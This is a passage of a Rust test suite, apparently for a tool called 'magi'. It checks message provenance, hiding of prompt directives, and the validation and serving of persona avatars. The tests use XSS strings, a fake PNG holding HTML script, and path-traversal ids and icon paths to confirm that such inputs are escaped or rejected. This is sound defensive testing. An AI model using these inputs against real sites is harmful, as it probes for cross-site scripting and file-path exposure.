13313            format!("{MOCK_AGENT_TOML}\n{extra}"),
13314        )
13315        .expect("write magi.toml");
13316        let home = TempDir::new().expect("temp home");
13317        let talks = Talks::at(home.path().join("talks"));
13318        let ui = Arc::new(
13319            Ui::new(
13320                Queue::at(home.path().join("queue")),
13321                Questions::at(home.path().join("questions")),
13322                talks.clone(),
13323                home.path().join("runs"),
13324                home.path().to_path_buf(),
13325                repo.clone(),
13326            )
13327            .with_worktrees_root(home.path().join("wt")),
13328        );
13329        let cfg = config_for(&repo).await.expect("discover config");
13330        let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
13331        (tmp, home, ui, talk.id, repo)
13332    }
13333
13334    #[tokio::test]
13335    async fn magi_provenance_view_resolves_legacy_replies_and_mixed_messages() {
13336        let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
13337        let mut conversation = ui.talks.get(&id).unwrap();
13338        talk::record(
13339            &mut conversation,
13340            &ui.talks,
13341            "# Update on a task you filed\noperator words",
13342            vec![],
13343        )
13344        .unwrap();
13345        // Simulate an old operator record; headings do not prove authorship.
13346        conversation.turns[0].sender = None;
13347        conversation.turns[0].messages.clear();
13348        ui.talks.put(&mut conversation).unwrap();
13349        talk::queue(&mut conversation, &ui.talks, "owner", vec![]).unwrap();
13350        talk::queue_once(&mut conversation, &ui.talks, "automatic report", "notice").unwrap();
13351        talk::drain(&mut conversation, &ui.talks).unwrap();
13352        talk::record_reply(
13353            &mut conversation,
13354            &ui.talks,
13355            "about that report",
13356            vec![],
13357            Some(talk::ReplyTarget {
13358                turn: 1,
13359                message: 1,
13360            }),
13361        )
13362        .unwrap();
13363        conversation.turns[2].messages[0]
13364            .reply
13365            .as_mut()
13366            .unwrap()
13367            .sender = None;
13368        conversation.turns.push(talk::Turn {
13369            sender: Some(talk::Sender::Persona),
13370            who: talk::Who::Agent,
13371            body: "magi: actual persona words".into(),
13372            at: Timestamp::now(),
13373            attachments: vec![],
13374            usage: None,
13375            breaks: None,
13376            messages: vec![],
13377            posted_by: None,
13378        });
13379        ui.talks.put(&mut conversation).unwrap();
13380        let view = TalkView::with_config(
13381            ui.talks.get(&id).unwrap(),
13382            false,
13383            None,
13384            &ui.home,
13385            &ui.references,
13386        );
13387        assert_eq!(view.talk.turns[0].sender, Some(talk::Sender::Operator));
13388        assert_eq!(
13389            view.talk.turns[1].messages[0].sender,
13390            Some(talk::Sender::Operator)
13391        );
13392        assert_eq!(
13393            view.talk.turns[1].messages[1].sender,
13394            Some(talk::Sender::Magi)
13395        );
13396        assert_eq!(
13397            view.talk.turns[2].messages[0]
13398                .reply
13399                .as_ref()
13400                .unwrap()
13401                .sender,
13402            Some(talk::Sender::Magi)
13403        );
13404        assert_eq!(view.talk.turns[3].sender, Some(talk::Sender::Persona));
13405        assert_eq!(view.turn_messages_md[0].len(), 1);
13406        assert!(view.turn_messages_md[0][0].is_none());
13407        assert!(view.turn_messages_md[1][0].is_none());
13408        assert!(view.turn_messages_md[1][1].is_some());
13409    }
13410
13411    #[tokio::test]
13412    async fn notification_display_survives_queue_history_and_reply_without_changing_input() {
13413        let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
13414        let mut conversation = ui.talks.get(&id).unwrap();
13415        let (body, display) = crate::prompt::chat_watch_report("watch-123", "failed", "output");
13416        talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
13417        talk::queue_notice(
13418            &mut conversation,
13419            &ui.talks,
13420            &body,
13421            "watch:123",
13422            &|_| false,
13423            None,
13424            display.clone(),
13425        )
13426        .unwrap();
13427        assert!(
13428            !talk::queue_notice(
13429                &mut conversation,
13430                &ui.talks,
13431                &body,
13432                "watch:123",
13433                &|_| false,
13434                None,
13435                display.clone()
13436            )
13437            .unwrap()
13438        );
13439        let saved = ui.talks.get(&id).unwrap();
13440        assert_eq!(saved.pending_messages[0].display, Some(display.clone()));
13441        let view = TalkView::with_config(saved, false, None, &ui.home, &ui.references);
13442        assert!(
13443            view.talk.turns[0].messages[0].display.is_none(),
13444            "operator copy stays literal"
13445        );
13446        assert_eq!(view.talk.pending_messages[0].display, Some(display.clone()));
13447        assert!(view.turn_messages_md[0][0].is_none());
13448        let queued_md = view.pending_messages_md[0].clone();
13449        assert_eq!(
13450            queued_md,
13451            Some(md::to_nodes(&display.facts, &md::ImageBase::None))
13452        );
13453        talk::drain(&mut conversation, &ui.talks).unwrap();
13454        talk::record_reply(
13455            &mut conversation,
13456            &ui.talks,
13457            "Explain",
13458            vec![],
13459            Some(talk::ReplyTarget {
13460                turn: 1,
13461                message: 0,
13462            }),
13463        )
13464        .unwrap();
13465        let mut saved = ui.talks.get(&id).unwrap();
13466        assert_eq!(saved.turns[1].messages[0].body, body);
13467        assert_eq!(saved.turns[1].messages[0].display, Some(display.clone()));
13468        let reply = saved.turns[2].messages[0].reply.as_mut().unwrap();
13469        assert!(!reply.excerpt.contains("automatic report"));
13470        reply.excerpt = body.chars().take(240).collect(); // old saved quote
13471        saved.turns[1].messages[0].display = None; // old MAGI send
13472        ui.talks.put(&mut saved).unwrap();
13473        let view = TalkView::with_config(
13474            ui.talks.get(&id).unwrap(),
13475            false,
13476            None,
13477            &ui.home,
13478            &ui.references,
13479        );
13480        assert_eq!(view.turn_messages_md[1][0], queued_md);
13481        assert_eq!(view.talk.turns[1].messages[0].display, Some(display));
13482        assert!(
13483            !view.talk.turns[2].messages[0]
13484                .reply
13485                .as_ref()
13486                .unwrap()
13487                .excerpt
13488                .contains("automatic report")
13489        );
13490        assert_eq!(ui.talks.get(&id).unwrap().turns[1].messages[0].body, body);
13491    }
13492
13493    #[tokio::test]
13494    async fn consultation_display_hides_directives_in_queue_and_history() {
13495        for node in [
13496            "implement",
13497            crate::land::APPROVAL_NODE,
13498            crate::github_text::ASK_NODE,
13499        ] {
13500            let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
13501            let mut question = Question::new(
13502                "run-123".into(),
13503                node.into(),
13504                "seat-1".into(),
13505                "Which backend?".into(),
13506                "## Context\n\nUse `storage`.\n\n<script>literal</script>".into(),
13507                vec!["SQLite".into(), "Redis".into()],
13508            );
13509            ui.questions.put(&mut question).unwrap();
13510            let body = crate::prompt::chat_consult(&question);
13511            let mut conversation = ui.talks.get(&id).unwrap();
13512            talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
13513            assert!(
13514                crate::consult::begin(&ui.questions, &ui.talks, &question, &conversation).unwrap()
13515            );
13516            conversation = ui.talks.get(&id).unwrap();
13517            assert_eq!(conversation.pending_messages[0].body, body);
13518            assert!(body.contains("magi answer"));
13519            let mut legacy_pending = conversation.clone();
13520            legacy_pending.pending_messages[0].display = None;
13521            let legacy_view =
13522                TalkView::with_config(legacy_pending, false, None, &ui.home, &ui.references);
13523            let legacy_md = serde_json::to_string(&legacy_view.pending_messages_md[0]).unwrap();
13524            assert!(legacy_md.contains("Question consultation"));
13525            assert!(!legacy_md.contains("magi answer"));
13526            let view =
13527                TalkView::with_config(conversation.clone(), false, None, &ui.home, &ui.references);
13528            assert!(
13529                view.turn_messages_md[0][0].is_none(),
13530                "operator copy stays literal"
13531            );
13532            let queued_md = view.pending_messages_md[0].clone().unwrap();
13533            let rendered = serde_json::to_string(&queued_md).unwrap();
13534            for visible in [
13535                "Which backend?",
13536                "Context",
13537                "storage",
13538                "SQLite",
13539                "Redis",
13540                "<script>literal</script>",
13541            ] {
13542                assert!(rendered.contains(visible), "missing {visible}");
13543            }
13544            for directive in [
13545                "What to do",
13546                "magi answer",
13547                "Never answer it yourself",
13548                "Do not edit the repository",
13549            ] {
13550                assert!(!rendered.contains(directive), "exposed {directive}");
13551            }
13552            assert_eq!(
13553                view.talk.pending_messages[0].display,
13554                Some(crate::prompt::chat_consult_display(&question))
13555            );
13556            talk::drain(&mut conversation, &ui.talks).unwrap();
13557            let view =
13558                TalkView::with_config(conversation.clone(), false, None, &ui.home, &ui.references);
13559            assert_eq!(view.turn_messages_md[1][0], Some(queued_md));
13560            assert_eq!(conversation.turns[1].messages[0].body, body);
13561
13562            // Historical consultations lack a snapshot: show a safe placeholder
13563            // rather than parsing instructions or reconstructing mutable facts.
13564            conversation.turns[1].messages[0].display = None;
13565            let view = TalkView::with_config(conversation, false, None, &ui.home, &ui.references);
13566            let legacy = serde_json::to_string(&view.turn_messages_md[1][0]).unwrap();
13567            assert!(legacy.contains("Question consultation"));
13568            assert!(!legacy.contains("magi answer"));
13569            assert!(notice_markdown(talk::Sender::Magi, &body, None).is_none());
13570        }
13571    }
13572
13573    #[test]
13574    fn notification_markdown_uses_only_visible_facts_and_explicit_provenance() {
13575        let facts = "# Update\n\n- `task` [PR](https://example.org)\n\n```sh\necho ok\n```\n\n<script>alert(1)</script>\n\n[bad](javascript:alert(1))";
13576        let (body, mut display) =
13577            crate::prompt::chat_watch_report("watch-123", "failed", "<script>untrusted</script>");
13578        display.facts = facts.into();
13579        let nodes = notice_markdown(talk::Sender::Magi, &body, Some(&display)).unwrap();
13580        assert_eq!(nodes, md::to_nodes(facts, &md::ImageBase::None));
13581        let json = serde_json::to_string(&nodes).unwrap();
13582        for kind in ["heading", "bullet_list", "code", "link", "code_block"] {
13583            assert!(json.contains(&format!("\"type\":\"{kind}\"")));
13584        }
13585        assert!(json.contains("<script>alert(1)</script>"));
13586        assert!(!json.contains("javascript:"));
13587        assert!(!json.contains("Tell the operator"));
13588        assert!(!json.contains("untrusted"));
13589        assert!(notice_markdown(talk::Sender::Operator, facts, None).is_none());
13590        assert!(notice_markdown(talk::Sender::Operator, &body, Some(&display)).is_none());
13591        assert!(notice_markdown(talk::Sender::Magi, &body, None).is_none());
13592        assert_eq!(
13593            notice_markdown(talk::Sender::Magi, "magi: # Status", None).unwrap(),
13594            md::to_nodes("# Status", &md::ImageBase::None),
13595        );
13596    }
13597
13598    #[tokio::test]
13599    async fn notification_display_recovers_exact_legacy_completion_references() {
13600        let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
13601        let mut conversation = ui.talks.get(&id).unwrap();
13602        let (body, display) = crate::prompt::chat_task_report(&crate::prompt::ChatTaskNotice {
13603            id: "task-123",
13604            title: "Change",
13605            status: "done",
13606            reason: None,
13607            run: Some("run-123"),
13608            pr: None,
13609            summary: Some("Merge state unknown"),
13610        });
13611        talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
13612        conversation.turns[0].sender = None;
13613        conversation.turns[0].messages.clear();
13614        conversation.turns[0].breaks = None;
13615        conversation.pending = body.clone();
13616        conversation
13617            .completion_notices
13618            .push(crate::chat_notify::CompletionReference {
13619                task: "task-123".into(),
13620                run: Some("run-123".into()),
13621                notice: body.clone(),
13622            });
13623        ui.talks.put(&mut conversation).unwrap();
13624        let view = TalkView::with_config(
13625            ui.talks.get(&id).unwrap(),
13626            false,
13627            None,
13628            &ui.home,
13629            &ui.references,
13630        );
13631        assert_eq!(
13632            view.talk.turns[0].messages[0].display,
13633            Some(display.clone())
13634        );
13635        assert_eq!(view.talk.pending_messages[0].display, Some(display));
13636        assert_eq!(
13637            view.talk.turns[0].messages[0].sender,
13638            Some(talk::Sender::Magi)
13639        );
13640        assert!(ui.talks.get(&id).unwrap().turns[0].messages.is_empty());
13641        conversation.completion_notices[0]
13642            .notice
13643            .push_str("different");
13644        let view = TalkView::with_config(conversation, false, None, &ui.home, &ui.references);
13645        assert!(view.talk.turns[0].messages.is_empty());
13646        assert!(view.talk.pending_messages.is_empty());
13647    }
13648
13649    #[tokio::test]
13650    async fn avatar_settings_report_states_and_inherit_after_corruption() {
13651        let icon = "data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
13652        let (_tmp, home, ui, _, _) = avatar_fixture(&format!(
13653            "[[talk.personas]]\nid = \"rei\"\nicon = \"{icon}\"\n"
13654        ))
13655        .await;
13656        let path = avatar_setting_path(home.path(), Some("rei"));
13657        let orphan = avatar_setting_path(home.path(), Some("removed"));
13658        save_icon_file(&orphan, icon).unwrap();
13659        for (saved, expected) in [
13660            (icon, "custom"),
13661            ("builtin", "builtin"),
13662            ("data:image/png;base64,!!!!", "inherit"),
13663            ("data:image/png;base64,PGh0bWw+", "inherit"),
13664            ("/tmp/avatar.png", "inherit"),
13665        ] {
13666            atomic_icon_write(&path, saved).unwrap();
13667            let catalog =
13668                avatar_settings_get(State(ui.clone()), Query(AvatarSettingsQuery::default()))
13669                    .await
13670                    .unwrap()
13671                    .0;
13672            let personas = catalog["personas"].as_array().unwrap();
13673            let rei = personas.iter().find(|p| p["id"] == "rei").unwrap();
13674            assert_eq!(rei["override_state"], expected);
13675            assert_eq!(rei["has_config_icon"], true);
13676            assert_eq!(rei["is_orphan"], false);
13677            let removed = personas.iter().find(|p| p["id"] == "removed").unwrap();
13678            assert_eq!(removed["override_state"], "custom");
13679            assert_eq!(removed["is_orphan"], true);
13680            let default = personas.iter().find(|p| p["id"] == "default").unwrap();
13681            assert_eq!(default["override_state"], "inherit");
13682            assert_eq!(default["has_config_icon"], false);
13683            let effective = effective_persona_icon(home.path(), "rei", Some(icon));
13684            assert_eq!(
13685                effective.as_deref(),
13686                Some(if expected == "builtin" { "" } else { icon })
13687            );
13688        }
13689    }
13690
13691    #[tokio::test]
13692    async fn avatar_settings_persist_reset_isolate_and_reject_invalid_images() {
13693        let icon = "data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
13694        let (_tmp, home, ui, id, repo) = avatar_fixture(&format!(
13695            "[[talk.personas]]\nid = \"rei\"\nicon = \"{icon}\"\n\n[[talk.personas]]\nid = \"custom\"\nname = \"Custom\"\nprompt = \"Stay concise\"\n"
13696        ))
13697        .await;
13698        let target = |id: Option<&str>| AvatarSettingsQuery {
13699            persona: id.map(str::to_owned),
13700            ..Default::default()
13701        };
13702        let original_config = config_for(&repo).await.unwrap();
13703        let original_persona = persona::find(&original_config.talk.personas, "rei").unwrap();
13704        let original_prompt = persona::section_for(&original_persona, None);
13705        let before = talk_detail(State(ui.clone()), Path(id.clone()))
13706            .await
13707            .unwrap()
13708            .0;
13709        for persona in [None, Some("rei"), Some("magi"), Some("../custom/日本語")] {
13710            let _ = avatar_settings_put(
13711                State(ui.clone()),
13712                Query(target(persona)),
13713                Json(MagiIconUpload { icon: icon.into() }),
13714            )
13715            .await
13716            .unwrap();
13717            let path = avatar_setting_path(home.path(), persona);
13718            assert!(path.starts_with(home.path().join("avatars")));
13719            assert_eq!(read_icon_file(&path).as_deref(), Some(icon));
13720            for bad in [
13721                "/tmp/image.png".to_owned(),
13722                "data:image/png;base64,!!!!".to_owned(),
13723                "data:image/png;base64,PGh0bWw+".to_owned(),
13724                "data:image/svg+xml;base64,PHN2Zz4=".to_owned(),
13725                format!(
13726                    "data:image/png;base64,{}",
13727                    "A".repeat(persona_icon::ICON_MAX_BYTES)
13728                ),
13729            ] {
13730                assert!(
13731                    avatar_settings_put(
13732                        State(ui.clone()),
13733                        Query(target(persona)),
13734                        Json(MagiIconUpload { icon: bad })
13735                    )
13736                    .await
13737                    .is_err()
13738                );
13739                assert_eq!(read_icon_file(&path).as_deref(), Some(icon));
13740            }
13741        }
13742        assert!(read_magi_icon(home.path()).is_none());
13743        assert!(effective_persona_icon(home.path(), "asuka", None).is_none());
13744        let after = talk_detail(State(ui.clone()), Path(id.clone()))
13745            .await
13746            .unwrap()
13747            .0;
13748        assert_ne!(before.view.operator_avatar, after.view.operator_avatar);
13749        assert_ne!(
13750            before
13751                .personas
13752                .iter()
13753                .find(|p| p.id == "magi")
13754                .unwrap()
13755                .avatar,
13756            after
13757                .personas
13758                .iter()
13759                .find(|p| p.id == "magi")
13760                .unwrap()
13761                .avatar
13762        );
13763        let restarted = Arc::new(Ui::new(
13764            Queue::at(home.path().join("queue")),
13765            Questions::at(home.path().join("questions")),
13766            Talks::at(home.path().join("talks")),
13767            home.path().join("runs"),
13768            home.path().to_owned(),
13769            repo,
13770        ));
13771        let catalog = avatar_settings_get(State(restarted.clone()), Query(target(None)))
13772            .await
13773            .unwrap()
13774            .0;
13775        assert!(
13776            catalog["personas"]
13777                .as_array()
13778                .unwrap()
13779                .iter()
13780                .any(|p| p["id"] == "../custom/日本語")
13781        );
13782        for expected in ["custom", "default", "rei"] {
13783            assert!(
13784                catalog["personas"]
13785                    .as_array()
13786                    .unwrap()
13787                    .iter()
13788                    .any(|p| p["id"] == expected)
13789            );
13790        }
13791        let response =
13792            operator_avatar(State(restarted.clone()), Query(AvatarQuery::default())).await;
13793        assert_eq!(response.headers()[header::CONTENT_TYPE], "image/png");
13794        let _ = avatar_settings_delete(State(restarted.clone()), Query(target(Some("rei"))))
13795            .await
13796            .unwrap();
13797        assert_eq!(
13798            effective_persona_icon(home.path(), "rei", Some(icon)),
13799            Some(String::new())
13800        );
13801        let response = talk_avatar(
13802            State(restarted.clone()),
13803            Path(id.clone()),
13804            Query(AvatarQuery {
13805                persona: Some("rei".into()),
13806                ..Default::default()
13807            }),
13808        )
13809        .await
13810        .unwrap();
13811        assert_eq!(response.headers()[header::CONTENT_TYPE], "image/svg+xml");
13812        let reset = talk_detail(State(restarted.clone()), Path(id.clone()))
13813            .await
13814            .unwrap()
13815            .0;
13816        assert_ne!(
13817            after
13818                .personas
13819                .iter()
13820                .find(|p| p.id == "rei")
13821                .unwrap()
13822                .avatar,
13823            reset
13824                .personas
13825                .iter()
13826                .find(|p| p.id == "rei")
13827                .unwrap()
13828                .avatar
13829        );
13830        let mut inherit = target(Some("rei"));
13831        inherit.inherit = Some("1".into());
13832        let _ = avatar_settings_delete(State(restarted.clone()), Query(inherit))
13833            .await
13834            .unwrap();
13835        assert_eq!(
13836            effective_persona_icon(home.path(), "rei", Some(icon)).as_deref(),
13837            Some(icon)
13838        );
13839        let _ = avatar_settings_delete(State(restarted.clone()), Query(target(None)))
13840            .await
13841            .unwrap();
13842        assert_eq!(operator_icon_url(home.path()), before.view.operator_avatar);
13843        assert_eq!(
13844            read_icon_file(&avatar_setting_path(home.path(), Some("magi"))).as_deref(),
13845            Some(icon)
13846        );
13847        // Display changes never rewrite the conversation or its prompt-bearing config.
13848        let cfg = config_for(&ui.repo).await.unwrap();
13849        let resolved = persona::find(&cfg.talk.personas, "rei").unwrap();
13850        assert_eq!(persona::section_for(&resolved, None), original_prompt);
13851        assert!(!original_prompt.contains("data:image"));
13852        assert_eq!(ui.talks.get(&id).unwrap().persona, before.view.talk.persona);
13853        let stored = serde_json::to_string(&ui.talks.get(&id).unwrap()).unwrap();
13854        assert!(!stored.contains("data:image"));
13855        let mut orphan = ui.talks.get(&id).unwrap();
13856        orphan.persona = "../custom/日本語".into();
13857        let view = TalkView::with_config(
13858            orphan,
13859            false,
13860            Some(&cfg),
13861            home.path(),
13862            &id_links::IndexCache::default(),
13863        );
13864        assert!(view.persona_avatar.contains("persona=..%2Fcustom%2F"));
13865    }
13866
13867    #[tokio::test]
13868    async fn magi_icon_saves_resets_revalidates_and_refreshes_cache() {
13869        let (_tmp, home, ui, id, repo) = avatar_fixture("").await;
13870        let original = magi_icon_get(State(ui.clone())).await.0["avatar"].clone();
13871        let icon = "data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
13872        let _ = magi_icon_put(
13873            State(ui.clone()),
13874            Json(MagiIconUpload { icon: icon.into() }),
13875        )
13876        .await
13877        .unwrap();
13878        let changed = magi_icon_get(State(ui.clone())).await.0["avatar"].clone();
13879        assert_ne!(original, changed);
13880        assert_eq!(read_magi_icon(home.path()).as_deref(), Some(icon));
13881        let response = magi_avatar(
13882            State(ui.clone()),
13883            Query(AvatarQuery {
13884                persona: None,
13885                builtin: None,
13886            }),
13887        )
13888        .await;
13889        assert_eq!(response.headers()[header::CONTENT_TYPE], "image/png");
13890        assert_eq!(response.headers()[header::CACHE_CONTROL], "no-cache");
13891        assert_eq!(
13892            response.headers()[header::X_CONTENT_TYPE_OPTIONS],
13893            "nosniff"
13894        );
13895        for bad in [
13896            "data:image/png;base64,PGh0bWw+".to_owned(),
13897            "data:image/svg+xml;base64,PHN2Zz4=".to_owned(),
13898            "A".repeat(persona_icon::ICON_MAX_BYTES + 1),
13899        ] {
13900            assert!(save_magi_icon(home.path(), &bad).is_err());
13901            assert_eq!(read_magi_icon(home.path()).as_deref(), Some(icon));
13902        }
13903        // Re-opened server state reads the same independent home file.
13904        let restarted = Arc::new(Ui::new(
13905            Queue::at(home.path().join("queue")),
13906            Questions::at(home.path().join("questions")),
13907            Talks::at(home.path().join("talks")),
13908            home.path().join("runs"),
13909            home.path().to_path_buf(),
13910            repo,
13911        ));
13912        assert_eq!(
13913            magi_icon_get(State(restarted.clone())).await.0["avatar"],
13914            changed
13915        );
13916        let view = TalkView::with_config(
13917            restarted.talks.get(&id).unwrap(),
13918            false,
13919            None,
13920            &restarted.home,
13921            &restarted.references,
13922        );
13923        assert_eq!(view.magi_avatar, changed.as_str().unwrap());
13924        std::fs::write(magi_icon_path(home.path()), "invalid").unwrap();
13925        let response = magi_avatar(
13926            State(ui.clone()),
13927            Query(AvatarQuery {
13928                persona: None,
13929                builtin: None,
13930            }),
13931        )
13932        .await;
13933        let bytes = axum::body::to_bytes(response.into_body(), usize::MAX)
13934            .await
13935            .unwrap();
13936        assert_eq!(bytes.as_ref(), persona_icon::magi_svg().as_bytes());
13937        let _ = magi_icon_delete(State(ui.clone())).await.unwrap();
13938        assert_eq!(magi_icon_get(State(ui.clone())).await.0["avatar"], original);
13939        let _ = magi_icon_delete(State(ui)).await.unwrap();
13940    }
13941
13942    /// `(status, content-type, nosniff, csp, body)` of one avatar request.
13943    async fn avatar(
13944        ui: &Arc<Ui>,
13945        id: &str,
13946        persona: Option<&str>,
13947        builtin: bool,
13948    ) -> (StatusCode, String, bool, bool, Vec<u8>) {
13949        let res = talk_avatar(
13950            State(Arc::clone(ui)),
13951            Path(id.to_owned()),
13952            Query(AvatarQuery {
13953                persona: persona.map(str::to_owned),
13954                builtin: builtin.then(|| "1".to_owned()),
13955            }),
13956        )
13957        .await
13958        .expect("an avatar is never an error response");
13959        let h = res.headers();
13960        let ct = h[header::CONTENT_TYPE].to_str().unwrap().to_owned();
13961        let nosniff = h
13962            .get(header::X_CONTENT_TYPE_OPTIONS)
13963            .is_some_and(|v| v == "nosniff");
13964        let csp = h.contains_key(header::CONTENT_SECURITY_POLICY);
13965        let status = res.status();
13966        let body = axum::body::to_bytes(res.into_body(), usize::MAX)
13967            .await
13968            .expect("body")
13969            .to_vec();
13970        (status, ct, nosniff, csp, body)
13971    }
13972
13973    fn tiny_png() -> Vec<u8> {
13974        let mut b = b"\x89PNG\r\n\x1a\n".to_vec();
13975        b.extend_from_slice(&[0u8; 32]);
13976        b
13977    }
13978
13979    #[tokio::test]
13980    async fn operator_avatar_is_distinct_svg_with_a_locked_down_policy() {
13981        let (_tmp, _home, ui, _id, _repo) = avatar_fixture("").await;
13982        let res = operator_avatar(State(ui), Query(AvatarQuery::default())).await;
13983        assert_eq!(res.status(), StatusCode::OK);
13984        assert_eq!(res.headers()[header::CONTENT_TYPE], "image/svg+xml");
13985        assert_eq!(res.headers()[header::X_CONTENT_TYPE_OPTIONS], "nosniff");
13986        assert_eq!(res.headers()[header::CONTENT_SECURITY_POLICY], AVATAR_CSP);
13987        assert_eq!(res.headers()[header::CACHE_CONTROL], "no-cache");
13988        let body = axum::body::to_bytes(res.into_body(), usize::MAX)
13989            .await
13990            .unwrap();
13991        assert_eq!(body.as_ref(), persona_icon::operator_svg().as_bytes());
13992        assert_ne!(
13993            persona_icon::operator_svg(),
13994            persona_icon::builtin_svg("default")
13995        );
13996    }
13997
13998    #[tokio::test]
13999    async fn builtin_avatars_are_svg_with_a_locked_down_policy() {
14000        let (_t, _h, ui, id, _repo) = avatar_fixture("").await;
14001        for p in [
14002            "default", "magi", "rei", "misato", "ritsuko", "shinji", "asuka", "kaworu",
14003        ] {
14004            let (status, ct, nosniff, csp, body) = avatar(&ui, &id, Some(p), false).await;
14005            assert_eq!(status, StatusCode::OK, "{p}");
14006            assert_eq!(ct, "image/svg+xml", "{p}");
14007            assert!(nosniff && csp, "{p}");
14008            assert!(String::from_utf8(body).unwrap().starts_with("<svg"), "{p}");
14009        }
14010        // No `persona` means the conversation's own; unknown ones fall back.
14011        let own = avatar(&ui, &id, None, false).await;
14012        let default = avatar(&ui, &id, Some("default"), false).await;
14013        assert_eq!(own.4, default.4);
14014        let unknown = avatar(&ui, &id, Some("nobody"), false).await;
14015        assert_eq!(unknown.1, "image/svg+xml");
14016    }
14017
14018    #[tokio::test]
14019    async fn a_configured_raster_icon_is_served_and_bad_ones_fall_back() {
14020        let dir = TempDir::new().expect("icons");
14021        let good = dir.path().join("good.png");
14022        std::fs::write(&good, tiny_png()).unwrap();
14023        let spoof = dir.path().join("spoof.png");
14024        std::fs::write(&spoof, b"<html><script>alert(1)</script></html>").unwrap();
14025        let big = dir.path().join("big.png");
14026        let mut bytes = tiny_png();
14027        bytes.resize(persona_icon::ICON_MAX_BYTES + 1, 0);
14028        std::fs::write(&big, bytes).unwrap();
14029        let missing = dir.path().join("missing.png");
14030        let uri = |p: &FsPath| p.to_string_lossy().replace('\\', "/");
14031        let extra = format!(
14032            "[[talk.personas]]\nid = \"rei\"\nicon = \"{}\"\n\
14033             [[talk.personas]]\nid = \"misato\"\nicon = \"{}\"\n\
14034             [[talk.personas]]\nid = \"asuka\"\nicon = \"{}\"\n\
14035             [[talk.personas]]\nid = \"shinji\"\nicon = \"{}\"\n\
14036             [[talk.personas]]\nid = \"kaworu\"\nicon = \"data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=\"\n\
14037             [[talk.personas]]\nid = \"magi\"\nicon = \"data:image/png;base64,PGh0bWw+\"\n",
14038            uri(&good),
14039            uri(&spoof),
14040            uri(&big),
14041            uri(&missing),
14042        );
14043        let (_t, _h, ui, id, _repo) = avatar_fixture(&extra).await;
14044
14045        let (status, ct, nosniff, _, body) = avatar(&ui, &id, Some("rei"), false).await;
14046        assert_eq!(
14047            (status, ct.as_str(), nosniff),
14048            (StatusCode::OK, "image/png", true)
14049        );
14050        assert_eq!(body, tiny_png());
14051        let (_, ct, _, _, _) = avatar(&ui, &id, Some("kaworu"), false).await;
14052        assert_eq!(ct, "image/png", "data URI");
14053
14054        for p in ["misato", "asuka", "shinji", "magi"] {
14055            let (status, ct, _, csp, body) = avatar(&ui, &id, Some(p), false).await;
14056            assert_eq!(
14057                (status, ct.as_str(), csp),
14058                (StatusCode::OK, "image/svg+xml", true),
14059                "{p}"
14060            );
14061            assert!(body.starts_with(b"<svg"), "{p}");
14062        }
14063        // The page's own retry skips the icon.
14064        let (_, ct, _, _, _) = avatar(&ui, &id, Some("rei"), true).await;
14065        assert_eq!(ct, "image/svg+xml");
14066    }
14067
14068    #[tokio::test]
14069    async fn invalid_icons_keep_the_catalog_and_persona_switch_usable() {
14070        let oversized = format!(
14071            "data:image/png;base64,{}",
14072            "A".repeat(persona_icon::ICON_MAX_BYTES)
14073        );
14074        for bad in ["", "/images/avatar.svg", "/a/../b.png", &oversized] {
14075            let extra = format!(
14076                "[[talk.personas]]\nid = \"custom\"\nname = \"Custom\"\nprompt = \"Keep calm\"\nicon = \"{bad}\"\n"
14077            );
14078            let (_t, _h, ui, id, _repo) = avatar_fixture(&extra).await;
14079            let Json(detail) = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
14080                .await
14081                .expect("detail with invalid icon");
14082            assert!(detail.personas.iter().any(|p| p.id == "custom"));
14083            let (status, ct, _, _, body) = avatar(&ui, &id, Some("custom"), false).await;
14084            assert_eq!(status, StatusCode::OK);
14085            assert_eq!(ct, "image/svg+xml");
14086            assert_eq!(body, persona_icon::builtin_svg("custom").as_bytes());
14087            let Json(view) = talk_persona(
14088                State(Arc::clone(&ui)),
14089                Path(id.clone()),
14090                Json(TalkPersona {
14091                    persona: "custom".into(),
14092                }),
14093            )
14094            .await
14095            .expect("persona switch with invalid icon");
14096            assert_eq!(view.talk.persona, "custom");
14097            assert_eq!(ui.talks.get(&id).unwrap().persona, "custom");
14098        }
14099    }
14100
14101    #[tokio::test]
14102    async fn an_unreadable_config_still_gets_the_builtin_avatar() {
14103        let (_t, _h, ui, id, repo) = avatar_fixture("").await;
14104        std::fs::write(repo.join("magi.toml"), "this is not valid TOML").unwrap();
14105        let (status, ct, nosniff, csp, _) = avatar(&ui, &id, Some("rei"), false).await;
14106        assert_eq!(
14107            (status, ct.as_str(), nosniff, csp),
14108            (StatusCode::OK, "image/svg+xml", true, true)
14109        );
14110    }
14111
14112    #[tokio::test]
14113    async fn the_talk_view_carries_server_built_avatar_urls_only() {
14114        let (_t, _h, ui, id, _repo) =
14115            avatar_fixture("[[talk.personas]]\nid = \"rei\"\nicon = \"~/secret/rei.png\"\n").await;
14116        let Json(detail) = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
14117            .await
14118            .expect("detail");
14119        let json = serde_json::to_string(&detail).unwrap();
14120        assert!(
14121            !json.contains("secret"),
14122            "the icon setting must not leak: {json}"
14123        );
14124        assert!(
14125            detail
14126                .view
14127                .persona_avatar
14128                .starts_with(&format!("/api/talks/{id}/avatar?persona=default&v="))
14129        );
14130        assert_eq!(
14131            detail.view.operator_avatar,
14132            format!(
14133                "/avatars/operator.svg?v={}",
14134                persona_icon::fingerprint(Some(persona_icon::operator_svg()))
14135            )
14136        );
14137        assert!(!detail.personas.iter().any(|p| p.id == "operator"));
14138        let rei = detail.personas.iter().find(|p| p.id == "rei").unwrap();
14139        let plain = detail.personas.iter().find(|p| p.id == "asuka").unwrap();
